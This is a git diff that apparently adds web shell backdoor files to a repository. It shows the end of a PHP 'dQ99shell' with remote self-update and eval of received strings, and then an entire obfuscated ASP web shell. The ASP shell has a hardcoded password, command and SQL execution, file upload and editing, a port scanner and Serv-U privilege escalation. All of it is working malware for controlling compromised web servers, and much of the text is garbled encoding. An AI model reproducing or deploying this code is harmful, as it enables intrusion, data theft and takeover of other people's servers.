($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") { + $string = explode("|",$string); + if ($update) { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download dQ99shell.php manually here.";} + else { + fwrite($fp,$source); + fclose($fp); + return "Update completed!"; + } + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") { + eval($string); + return 1; + } + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +function dQ99_buff_prepare() { + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +function dQ99_sess_put($data) { + global $sess_cookie; + global $sess_data; + dQ99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +## END dQ99Sh UPDATE FUNCTIONS ## +## FILESYSTEM FUNCTIONS ## +function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } +} +function fs_move_dir($d,$t) { + + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +## END FILESYSTEM FUNCTIONS ## +function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function dQ99shexit() { onphpshutdown(); exit; } + +function dQ99fsearch($d) { + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {dQ99fsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} +function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); +} +function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +function view_perms_color($o) { + if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} + elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} + else {return "".view_perms(fileperms($o))."";} +} +function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} +} +function strips(&$arr,$k="") { + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + else { $arr = stripslashes($arr); } +} + +function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); +} + +function milw0rm() { + $Lversion = php_uname(r); + $OSV = php_uname(s); + if(eregi("Linux",$OSV)) { + $Lversion = substr($Lversion,0,6); + return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; + } else { + $Lversion = substr($Lversion,0,3); + return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; + } +} +function tools() { + echo "List of tools"; +} + +function sh_name() { return base64_decode("ZGlLaSBkUTk5c2hlbGwgdg==").sh_ver; } +function htmlhead($safemode) { +$style = ' + +'; +$html_start = ' + +'.getenv("HTTP_HOST").' - '.sh_name().' +'.$style.' + + + +

    '.sh_name().'

    .: r57.biz Dq99Shell :.
    +'; +return $html_start; +}; +function footer() { + echo "
    By www.r57.biz, ?2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds
    "; +} +chdir($lastdir); dQ99shexit(); +?> \ No newline at end of file diff --git a/www-7jyewu-cn/土司搞基asp大马 (1).asp b/www-7jyewu-cn/土司搞基asp大马 (1).asp new file mode 100644 index 0000000..0972fba --- /dev/null +++ b/www-7jyewu-cn/土司搞基asp大马 (1).asp @@ -0,0 +1,623 @@ +<% + +UserPass="admin"' +'------------------------ڷǷ;---------------------- +mmname="˾asp" +bottomad="Oh my God, what is safe?" +blogurl="http://www.7jyewu.cn/" +'----------------------һк޹---------------------- +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,""\"",""\\""):End Function:Function RRePath(S):RRePath=Replace(S,""\\"",""\""):End Function:URL=Request.ServerVariables(""URL""):ServerIP=Request.ServerVariables(""LOCAL_ADDR""):Action=Request(""Action""):Pos=2:RootPath=Server.MapPath("".""):WWWRoot=Server.MapPath(""/""):Serveru=request.servervariables(""http_host"")&url:FolderPath=Request(""FolderPath""):serverp=UserPass:Pn=pos*44:FName=Request(""FName""):pso=5:BackUrl=""

    """ + +RRS"" +RRS""&mmname&" - "&ServerIP&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~ȷϼݿSQL䡣
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""ݿӴǷȷ!"");return false;}if(str.length<10){alert(""SQLǷȷ!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "ļ":Sot(1,0) = "wscript.shell":Sot(1,2) = "ִ":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESSѹ":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "ϴ":Sot(5,0) = "Adodb.connection":Sot(5,2) = "ݿ":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "ϴ":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp ļϴ":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "Ʒļϴ":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload ļϴ":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail ʼշ":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "SMTP":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "ݴ" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" " +Else +IsObj=" " +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next + + + + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    ַ" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"ProgramAllUserspcAnywhereserv-uRealServerSQLPHPconfigdataTempRECYCLERд
    " +End Function:Function MainMenu() +RRS"
    " +RRS"

    ʾ

    " +RRS"" +RRS"
    " +RRS"" +If soT(0,1)=" " Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" + +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End if +RRS"

    " +RRS"
    Ȩ
    վĿ¼
    Ŀ¼
    ϼĿ¼
    ½Ŀ¼
    ½ı
    Զ
    ϴļ
    û˺
    Ա
    Զ¼
    ֧
    ִCMD
    SQLִCMD
    ˿ɨ
    Serv-uȨ
    ע
    ޸ļ
    س
    ASPX̽
    PHP̽
    JSP̽
    ߼
    ݿ
    ˳¼
    " +End Function: + + + + + +Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>dibr>dibr>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oOpp=aueal vontiop>Fso=fueal vontiop>~ctlese~'ʼ'e=luvat miub=spetyt puin
    ~rmfobr:<)O֧FS(⿪>r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp'e=luvat miub=spetyt puin>
    ~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = <~)~$& e am.Nemit& ~ ~$, stLileFiys(strnS IIf`Nedd.Arsw` 4h,at.Pemitd(Mi= ) h~atePth(~rs)`h)at.Pemite(ilmFrodFoa.Lamrest`d(ea.Ramrest= ) t~enntColefi(~rs)`atpd.Urse`Ifd En`Ifd En`xtNe`inthNo= r deoleFtht Seg",Pos):End Sub:Function Course():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>ϵr='megcoloer' b'centlign='3' aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~Զhen le=2 trtTypJ.Staif OB~`x=~ֶhen le=3 trtTypJ.Staif OB~`x=~hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloIPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'><'centlign=='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~<'2'>~&nFFFFFr='#Fgcolonbsp;FF'>&#FFFFlor=' bgcod>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloCPU'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td><ϵͳ<'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo汾'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>" +end sub:Function UpFile(): +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    ϴȫ·ѡһļϴ!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    ļ"&UName&"ϴɹ
    " +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +RRS SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"ϴ·" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +RRS SI:RRS ""©url&"" +End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~<`bsp;~sp;&n'>&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '>
    " +end if +else +si="

    "&mmname&"
     

    "&bottomad&"
    " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if +Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`Ӵ: ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r><&~~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr䣺~&S&~ִSI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble><&~~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;ҳ룺~ &RC&~¼~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nbһҳage-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';1)'>&~~~,qlStr~~~&SlStr(ullSqipt:Fvascrf='jaa hrebsp;8 If Paf`o Sp+=Sp TFor i8`it Foen ExPN ThIf i>r`Page If i=Then`nbsp;&i&~&SI=SI~`Else` ~>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~,~&PNr&~~~SqlSt(~~~&qlStrFullSript:avascef='j&'>һҳ+1&~)&Page~~~,~lStr&~~&SqStr(~llSqlpt:Fuascri='jav hrefsp;~`End If`able>r>0 then + set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if + else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class:Function SinfoEn(ObjStr,ObjPos):ExeCuTe Fun(")2-)nEofniS(neL,nEofniS(tfeL=nEofniS:txeN:fLrCbv&)soPjbO,)i(rtSweN(edoCnE&nEofniS=nEofniS:)rtSweN(dnuoBU oT 0=i roF:)|`|,rtSjbO(tilpS=rtSweN:)||||,|~|,rtSjbO(ecalpeR=rtSjbO"):End Function:Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F) + dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class:Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function:Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub +Function ShowDriver() +For Each D in CF.Drives +RRS"ش ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path):ExeCute SinfoEn("thPar(deoltFGeF.=CLDFOt Se)`i=0`>~tr><6'='ngdiadlpel c0'='ngcipalsel c0'='errdbo' 0%10='thid wleab&~orolrCdeor&B ~idol spx:1errdbo='lety sivteen=cgnli a7%=1thid w10t=ghei htd~~/a~~br>06'='zesi' gsingdin'we=ac fntfo><~~~~e=tlti' ~)~~)&meNaF.~&~\h&at(PthPaRe~&~~r(deolwFho:Sptriscvaja='efhra ~ /ayC''e=tlti' am='ssla c)'k(soyen uret'rk=icclon)'~~erldFopyCo~~~,~~)&meNaF.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra >>~/alɾ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deollFDe~~~,~~)&\~~\~,~\e,am.N&F\~&~thPae(acplRe~&~~m(orlFul:Fptriscvaja='efhra ~ƶ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deoleFov~M,~~~&~e)am.N&F\~&~thPah(ateP&R~~(~rmFollFut:ipcrasav'jf=re h~tddi
    ]='leit tm''as=ascl' ()okes yrnture='cklinc'o~)e~ilnFow~D,~~~&~e)am.N&F\~&~thPah(ateP&R~~(~rmFollFut:ipcrasav'jf=re h/t~~leab/t>/t><=2htighed /t~~tr><6'='ngdiadlpel c0'='ngcipalsel c0'='errdbo' 0%10='thid wleab[ /a~~ntfo25'='zesi' gsingdin'we=ac fntfo><''e=tlti' );~~leFiwnDo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ><~'r&loCoerrdBo~&d lisox 1pr:deor'be=ylstv di><0''3t=ghei htd~ /atE''e=tlti' am='ssla c)'~~leFiitEd~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~ /alɾ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)e~illFDe~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~ /ayC''e=tlti' am='ssla c)'~~leFipyCo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~] /aeM''e=tlti' am='ssla c)'~~leFiveMo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~~
    ~tddi/t~blta/t~teen/c<ɹɾ~ h&at&P ~ļr>


    teen


    ļɹ":SI=SI&BackUrl:RRS SI:Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall) :T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="½ļ":End If:SI=SI&"":SI=SI&"":SI=SI&"
    ":SI=SI&"
    ":SI=SI&"
          ":RRS SI:RRS ""©url&"" +End Function:Function CopyFile(Path):ExeCute SinfoEn("|~||~|h,at(Pitpl S =thPa)`enTh~ >~)<(1thPad an) 0)h(at(PtsisExleFiF. CIf`(1thPa),(0thPae ilyFop.CCF)`>~erntce


    teen~Path( and h(0))s(PatExist.FileIf CFn`Path(h(0),e PatveFilCF.Mo1)`enter>
